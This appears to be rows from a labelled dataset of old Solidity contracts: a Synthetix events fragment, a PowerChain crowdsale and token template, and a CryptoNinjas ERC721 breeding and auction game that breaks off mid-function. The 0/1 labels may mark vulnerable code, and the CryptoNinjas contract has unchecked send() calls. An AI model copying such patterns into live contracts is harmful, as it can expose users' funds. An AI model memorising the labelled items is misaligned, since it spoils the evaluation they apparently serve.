xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0); } event RewardsClaimed(address account, uint snxAmount); bytes32 constant REWARDSCLAIMED_SIG = keccak256("RewardsClaimed(address,uint256)"); function emitRewardsClaimed(address account, uint snxAmount) internal { proxy._emit(abi.encode(account, snxAmount), 1, REWARDSCLAIMED_SIG, 0, 0, 0); } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } }
0
975
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "PowerChain"; string public constant TOKEN_SYMBOL = "PCX"; bool public constant PAUSED = true; address public constant TARGET_USER = 0x66a6983703928bA3523E9F3850750B847ffbFA03; uint public constant START_TIME = 1537563660; bool public constant CONTINUE_MINTING = false; } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { function hasStarted() public view returns (bool) { return now >= openingTime; } function startTime() public view returns (uint256) { return openingTime; } function endTime() public view returns (uint256) { return closingTime; } function hasClosed() public view returns (bool) { return super.hasClosed() || capReached(); } function hasEnded() public view returns (bool) { return hasClosed(); } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { require(MintableToken(token).finishMinting()); } Ownable(token).transferOwnership(TARGET_USER); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); } } contract TemplateCrowdsale is Consts, MainCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; constructor(MintableToken _token) public Crowdsale(60000 * TOKEN_DECIMAL_MULTIPLIER, 0x9f44D28a38172FF9857705f61AFf67b62366042c, _token) TimedCrowdsale(START_TIME > now ? START_TIME : now, 1542831000) CappedCrowdsale(66666666666666666666667) { } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[1] memory addresses = [address(0x66a6983703928ba3523e9f3850750b847ffbfa03)]; uint[1] memory amounts = [uint(6000000000000000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); emit Initialized(); } function hasClosed() public view returns (bool) { bool remainValue = cap.sub(weiRaised) < 200000000000000000; return super.hasClosed() || remainValue; } function setStartTime(uint _startTime) public onlyOwner { require(now < openingTime); require(_startTime > openingTime); require(_startTime < closingTime); emit TimesChanged(_startTime, closingTime, openingTime, closingTime); openingTime = _startTime; } function setEndTime(uint _endTime) public onlyOwner { require(now < closingTime); require(now < _endTime); require(_endTime > openingTime); emit TimesChanged(openingTime, _endTime, openingTime, closingTime); closingTime = _endTime; } function setTimes(uint _startTime, uint _endTime) public onlyOwner { require(_endTime > _startTime); uint oldStartTime = openingTime; uint oldEndTime = closingTime; bool changed = false; if (_startTime != oldStartTime) { require(_startTime > now); require(now < oldStartTime); require(_startTime > oldStartTime); openingTime = _startTime; changed = true; } if (_endTime != oldEndTime) { require(now < oldEndTime); require(now < _endTime); closingTime = _endTime; changed = true; } if (changed) { emit TimesChanged(openingTime, _endTime, openingTime, closingTime); } } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(msg.value >= 200000000000000000); require(msg.value <= 10000000000000000000000); super._preValidatePurchase(_beneficiary, _weiAmount); } }
1
2,747
pragma solidity ^0.4.11; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC721 { function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); } contract GeneScienceInterface { function isGeneScience() public pure returns (bool); function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256); } contract NinjaAccessControl { event ContractUpgrade(address newContract); address public ceoAddress; address public cfoAddress; address public cooAddress; bool public paused = false; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCFO() { require(msg.sender == cfoAddress); _; } modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() external onlyCLevel whenNotPaused { paused = true; } function unpause() public onlyCEO whenPaused { paused = false; } } contract NinjaBase is NinjaAccessControl { event Birth( address owner, uint256 ninjaId, uint256 matronId, uint256 sireId, uint256 genes, uint256 birthTime ); event Transfer(address from, address to, uint256 tokenId); struct Ninja { uint256 genes; uint64 birthTime; uint64 cooldownEndBlock; uint32 matronId; uint32 sireId; uint32 siringWithId; uint16 cooldownIndex; uint16 generation; } uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; uint256 public secondsPerBlock = 15; Ninja[] ninjas; mapping (uint256 => address) public ninjaIndexToOwner; mapping (address => uint256) ownershipTokenCount; mapping (uint256 => address) public ninjaIndexToApproved; mapping (uint256 => address) public sireAllowedToAddress; uint32 public destroyedNinjas; SaleClockAuction public saleAuction; SiringClockAuction public siringAuction; function _transfer(address _from, address _to, uint256 _tokenId) internal { if (_to == address(0)) { delete ninjaIndexToOwner[_tokenId]; } else { ownershipTokenCount[_to]++; ninjaIndexToOwner[_tokenId] = _to; } if (_from != address(0)) { ownershipTokenCount[_from]--; delete sireAllowedToAddress[_tokenId]; delete ninjaIndexToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } function _createNinja( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner ) internal returns (uint) { require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); uint16 cooldownIndex = uint16(_generation / 2); if (cooldownIndex > 13) { cooldownIndex = 13; } Ninja memory _ninja = Ninja({ genes: _genes, birthTime: uint64(now), cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation) }); uint256 newNinjaId = ninjas.push(_ninja) - 1; require(newNinjaId == uint256(uint32(newNinjaId))); Birth( _owner, newNinjaId, uint256(_ninja.matronId), uint256(_ninja.sireId), _ninja.genes, uint256(_ninja.birthTime) ); _transfer(0, _owner, newNinjaId); return newNinjaId; } function _destroyNinja(uint256 _ninjaId) internal { require(_ninjaId > 0); address from = ninjaIndexToOwner[_ninjaId]; require(from != address(0)); destroyedNinjas++; _transfer(from, 0, _ninjaId); } function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < cooldowns[0]); secondsPerBlock = secs; } } contract NinjaExtension is NinjaBase { event Lock(uint256 ninjaId, uint16 mask); mapping (address => bool) extensions; mapping (uint256 => uint16) locks; uint16 constant LOCK_BREEDING = 1; uint16 constant LOCK_TRANSFER = 2; uint16 constant LOCK_ALL = LOCK_BREEDING | LOCK_TRANSFER; function addExtension(address _contract) external onlyCEO { extensions[_contract] = true; } function removeExtension(address _contract) external onlyCEO { delete extensions[_contract]; } modifier onlyExtension() { require(extensions[msg.sender] == true); _; } function extCreateNinja( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner ) public onlyExtension returns (uint) { return _createNinja(_matronId, _sireId, _generation, _genes, _owner); } function extDestroyNinja(uint256 _ninjaId) public onlyExtension { require(locks[_ninjaId] == 0); _destroyNinja(_ninjaId); } function extLockNinja(uint256 _ninjaId, uint16 _mask) public onlyExtension { _lockNinja(_ninjaId, _mask); } function _lockNinja(uint256 _ninjaId, uint16 _mask) internal { require(_mask > 0); uint16 mask = locks[_ninjaId]; require(mask & _mask == 0); if (_mask & LOCK_BREEDING > 0) { Ninja storage ninja = ninjas[_ninjaId]; require(ninja.siringWithId == 0); } if (_mask & LOCK_TRANSFER > 0) { address owner = ninjaIndexToOwner[_ninjaId]; require(owner != address(saleAuction)); require(owner != address(siringAuction)); } mask |= _mask; locks[_ninjaId] = mask; Lock(_ninjaId, mask); } function extUnlockNinja(uint256 _ninjaId, uint16 _mask) public onlyExtension returns (uint16) { _unlockNinja(_ninjaId, _mask); } function _unlockNinja(uint256 _ninjaId, uint16 _mask) internal { require(_mask > 0); uint16 mask = locks[_ninjaId]; require(mask & _mask == _mask); mask ^= _mask; locks[_ninjaId] = mask; Lock(_ninjaId, mask); } function extGetLock(uint256 _ninjaId) public view onlyExtension returns (uint16) { return locks[_ninjaId]; } } contract NinjaOwnership is NinjaExtension, ERC721 { string public constant name = "CryptoNinjas"; string public constant symbol = "CBT"; function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return ninjaIndexToOwner[_tokenId] == _claimant; } function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return ninjaIndexToApproved[_tokenId] == _claimant; } function _approve(uint256 _tokenId, address _approved) internal { ninjaIndexToApproved[_tokenId] = _approved; } function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } function transfer( address _to, uint256 _tokenId ) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_to != address(saleAuction)); require(_to != address(siringAuction)); require(_owns(msg.sender, _tokenId)); require(locks[_tokenId] & LOCK_TRANSFER == 0); _transfer(msg.sender, _to, _tokenId); } function approve( address _to, uint256 _tokenId ) external whenNotPaused { require(_owns(msg.sender, _tokenId)); require(locks[_tokenId] & LOCK_TRANSFER == 0); _approve(_tokenId, _to); Approval(msg.sender, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); require(locks[_tokenId] & LOCK_TRANSFER == 0); _transfer(_from, _to, _tokenId); } function totalSupply() public view returns (uint) { return ninjas.length - destroyedNinjas; } function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = ninjaIndexToOwner[_tokenId]; require(owner != address(0)); } function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalNinjas = ninjas.length - 1; uint256 resultIndex = 0; uint256 ninjaId; for (ninjaId = 0; ninjaId <= totalNinjas; ninjaId++) { if (ninjaIndexToOwner[ninjaId] == _owner) { result[resultIndex] = ninjaId; resultIndex++; } } return result; } } } contract NinjaBreeding is NinjaOwnership { event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock); uint256 public autoBirthFee = 2 finney; uint256 public pregnantNinjas; GeneScienceInterface public geneScience; function setGeneScienceAddress(address _address) external onlyCEO { GeneScienceInterface candidateContract = GeneScienceInterface(_address); require(candidateContract.isGeneScience()); geneScience = candidateContract; } function _isReadyToBreed(uint256 _ninjaId, Ninja _ninja) internal view returns (bool) { return (_ninja.siringWithId == 0) && (_ninja.cooldownEndBlock <= uint64(block.number)) && (locks[_ninjaId] & LOCK_BREEDING == 0); } function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) { address matronOwner = ninjaIndexToOwner[_matronId]; address sireOwner = ninjaIndexToOwner[_sireId]; return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner); } function _triggerCooldown(Ninja storage _ninja) internal { _ninja.cooldownEndBlock = uint64((cooldowns[_ninja.cooldownIndex]/secondsPerBlock) + block.number); if (_ninja.cooldownIndex < 13) { _ninja.cooldownIndex += 1; } } function approveSiring(address _addr, uint256 _sireId) external whenNotPaused { require(_owns(msg.sender, _sireId)); sireAllowedToAddress[_sireId] = _addr; } function setAutoBirthFee(uint256 val) external onlyCOO { autoBirthFee = val; } function _isReadyToGiveBirth(Ninja _matron) private view returns (bool) { return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number)); } function isReadyToBreed(uint256 _ninjaId) public view returns (bool) { Ninja storage ninja = ninjas[_ninjaId]; return _ninjaId > 0 && _isReadyToBreed(_ninjaId, ninja); } function isPregnant(uint256 _ninjaId) public view returns (bool) { return _ninjaId > 0 && ninjas[_ninjaId].siringWithId != 0; } function _isValidMatingPair( Ninja storage _matron, uint256 _matronId, Ninja storage _sire, uint256 _sireId ) private view returns(bool) { if (_matronId == _sireId) { return false; } if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } return true; } function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId) internal view returns (bool) { Ninja storage matron = ninjas[_matronId]; Ninja storage sire = ninjas[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } function canBreedWith(uint256 _matronId, uint256 _sireId) external view returns(bool) { require(_matronId > 0); require(_sireId > 0); Ninja storage matron = ninjas[_matronId]; Ninja storage sire = ninjas[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId) && _isSiringPermitted(_sireId, _matronId); } function _breedWith(uint256 _matronId, uint256 _sireId) internal { Ninja storage sire = ninjas[_sireId]; Ninja storage matron = ninjas[_matronId]; matron.siringWithId = uint32(_sireId); _triggerCooldown(sire); _triggerCooldown(matron); delete sireAllowedToAddress[_matronId]; delete sireAllowedToAddress[_sireId]; pregnantNinjas++; Pregnant(ninjaIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock); } function breedWithAuto(uint256 _matronId, uint256 _sireId) external payable whenNotPaused { require(msg.value >= autoBirthFee); require(_owns(msg.sender, _matronId)); require(_isSiringPermitted(_sireId, _matronId)); Ninja storage matron = ninjas[_matronId]; require(_isReadyToBreed(_matronId, matron)); Ninja storage sire = ninjas[_sireId]; require(_isReadyToBreed(_sireId, sire)); require(_isValidMatingPair( matron, _matronId, sire, _sireId )); _breedWith(_matronId, _sireId); } function giveBirth(uint256 _matronId) external whenNotPaused returns(uint256) { Ninja storage matron = ninjas[_matronId]; require(matron.birthTime != 0); require(_isReadyToGiveBirth(matron)); uint256 sireId = matron.siringWithId; Ninja storage sire = ninjas[sireId]; uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1); address owner = ninjaIndexToOwner[_matronId]; uint256 ninjaId = _createNinja(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner); delete matron.siringWithId; pregnantNinjas--; msg.sender.send(autoBirthFee); return ninjaId; } } contract ClockAuctionBase { struct Auction { address seller; uint128 startingPrice; uint128 endingPrice; uint64 duration; uint64 startedAt; } ERC721 public nonFungibleContract; uint256 public ownerCut; mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated( address seller, uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 creationTime, uint256 duration ); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address seller, address winner, uint256 time); event AuctionCancelled(uint256 tokenId, address seller, uint256 time); function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } function _escrow(address _owner, uint256 _tokenId) internal { nonFungibleContract.transferFrom(_owner, this, _tokenId); } function _transfer(address _receiver, uint256 _tokenId) internal { nonFungibleContract.transfer(_receiver, _tokenId); } function _addAuction(uint256 _tokenId, Auction _auction) internal { require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated( _auction.seller, uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.startedAt), uint256(_auction.duration) ); } function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId, _seller, uint256(now)); } function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); uint256 price = _currentPrice(auction); require(_bidAmount >= price); address seller = auction.seller; _removeAuction(_tokenId); if (price > 0) { uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; seller.transfer(sellerProceeds); } uint256 bidExcess = _bidAmount - price; msg.sender.transfer(bidExcess); AuctionSuccessful(_tokenId, price, seller, msg.sender, uint256(now)); return price; } function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { if (_secondsPassed >= _duration) { return _endingPrice; } else { int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _computeCut(uint256 _price) internal view returns (uint256) { return _price * ownerCut / 10000; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() public onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract ClockAuction is Pausable, ClockAuctionBase { function ClockAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); nonFungibleContract = candidateContract; } function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); bool res = nftAddress.send(this.balance); } function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external whenNotPaused { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, 